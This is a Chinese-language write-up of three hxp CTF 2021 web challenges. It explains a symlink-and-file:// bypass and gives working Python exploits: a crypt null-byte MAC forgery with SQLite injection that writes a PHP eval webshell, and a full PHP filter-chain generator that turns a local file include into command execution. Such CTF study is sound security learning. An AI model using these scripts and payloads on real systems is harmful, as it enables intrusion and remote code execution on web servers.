hxp
unzipper
wp:https://github.com/cscosu/ctf-writeups/tree/master/2021/hxp_ctf/unzipper
给了源码,关键点:
if (isset($_FILES['file']))
system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES['file']['tmp_name']));
else if (isset($_GET['file']))
if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: ''))
readfile($_GET['file']);
我们需要i上传一个压缩包,然后解压。传file参数可以读取文件,但是不能有flag。需要知道,realpath可以解析软连接,如果直接上传软连接的文件是不能连接到/flag.txt
。而且也不能让realpath报错的方式来绕过。除此之外,readfile可以解析php伪协议,所以可以用file://
的形式读取文件。realpath还会除掉多余的/
,但是好像不能除完/
后继续解析软连接?可以本地测试一下,创建./file:/asd
软链接/flag.txt
可以看到,除掉了多余的
/
并输出绝对路径,没有解析软链接。现在还差一个条件,解压的文件所在的绝对路径。可以在session文件获取到沙盒名称。所以直接file=/tmp/sess_sessid
即可。有了这个,构造一个压缩包,压缩包里面的文件结构为:file:/var/www/html/data/沙盒/软链接文件
然后上传。最终payload:
http://65.108.176.76:8200/?file=file:///var/www/html/data/沙盒/软链接文件
然后绕过if判断,下面的readfile直接解析file协议,从而读取到软链接的flag。
shitty blog
(之前写的没保存XD,只能写写思路了)
if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
exit();
}
$id = $session[0];
$mac = $session[1];
如果绕过这个if,我们就能够构造id
function delete_entry($db, $entry_id, $user_id) {
$db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");
}
然后id在这里可以进行sql注入。关键点就是crypt这个函数,如果遇到0x00就会截断,比如crypt('a\x00asd')==crypt('a\x00123')
所以,如果我们能构造出0x00开头的mac,就能构造id了。构造id为sql注入语句之后,也需要把它变为0x00开头的才能绕过验证,所以需要加一些垃圾字符就行。wp的脚本:
import requests
from urllib.parse import *
url = "http://65.108.176.96:8888/"
pair = {}
null = ""
while True:
res = requests.get(url)
# print(pair)
session = res.cookies['session']
sessions = session.split("%7C")
if pair.get(sessions[1]):
if sessions[0] != pair.get(sessions[1]):
print(sessions[1])
print(sessions[0], pair.get(sessions[1]))
null = sessions[1]
break
else:
pair[sessions[1]] = sessions[0]
payload = quote(";ATTACH DATABASE '/var/www/html/data/z33.php' AS 'test';create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php eval($_GET[z33]);?>');-- ")
# insert user_id
i = 0
while True:
i += 1
print(str(i)+payload+"%7C"+null)
res = requests.post(url, data={"content": "test"}, cookies={"session": str(i)+payload+"%7C"+null})
if len(res.text) > 10:
print(i)
print(res.text)
break
res = requests.post(url, data={"delete": "1"}, cookies={"session": str(i)+payload+"%7C"+null})
print(res.text)
这里还需要了解sqlite的文件写入的操作。
counter & includer's revenge
理解的并不是很理解,可以去看看大佬的博客:https://blog.z3ratu1.cn/hxpctf2021%E5%A4%8D%E7%8E%B0.html
我这里就说一丢丢终极LFI。
两道题都可以用终极文件包含payload打。
import requests
url = "http://localhost:8088/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
修改一下最后这个get参数就行。就是进行各种过滤器的组合,从而将/etc/passwd变成一个shell,然后直接打穿,猛的离谱。LFI的终极字典:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT是不是以后出LFI直接通杀了🐶
然后出题人的脚本打不通555😥